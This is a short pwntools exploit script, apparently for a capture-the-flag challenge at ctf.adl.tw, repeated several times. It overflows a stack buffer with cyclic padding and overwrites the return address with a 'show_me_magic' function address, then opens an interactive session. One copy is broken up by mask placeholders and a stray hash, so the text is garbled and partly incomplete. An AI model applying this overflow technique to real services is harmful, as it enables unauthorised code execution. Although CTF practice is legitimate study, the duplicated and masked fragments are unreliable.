from pwn import *
import struct

# print(cyclic(100))
# print(cyclic_find(b'l', n=1))

ip = 'ctf.adl.tw'
port = 11001

r = remote(ip, port)
show_me_magic = 0x0000000000400627
# show_me_magic = 0x000000000040063c
# show_me_magic = 0x400520
# show_me_magic = 0x0b0225ff

payload = "aaaabaaacaaadaaaeaaafaaa"
payload += p64(show_me_magic)

r.send(payload)
r.interactive()


e283fed3b3a94694811f76547b25239f9079650f
<mask token>

<mask token>
payload += p64(show_me_magic)
r.send(payload)
r.interactive()

<mask token>
ip = 'ctf.adl.tw'
port = 11001
r = remote(ip, port)
show_me_magic = 4195879
payload = 'aaaabaaacaaadaaaeaaafaaa'
payload += p64(show_me_magic)
r.send(payload)
r.interactive()

from pwn import *
import struct
ip = 'ctf.adl.tw'
port = 11001
r = remote(ip, port)
show_me_magic = 4195879
payload = 'aaaabaaacaaadaaaeaaafaaa'
payload += p64(show_me_magic)
r.send(payload)
r.interactive()

from pwn import *
import struct

# print(cyclic(100))
# print(cyclic_find(b'l', n=1))

ip = 'ctf.adl.tw'
port = 11001

r = remote(ip, port)
show_me_magic = 0x0000000000400627
# show_me_magic = 0x000000000040063c
# show_me_magic = 0x400520
# show_me_magic = 0x0b0225ff

payload = "aaaabaaacaaadaaaeaaafaaa"
payload += p64(show_me_magic)

r.send(payload)
r.interactive()

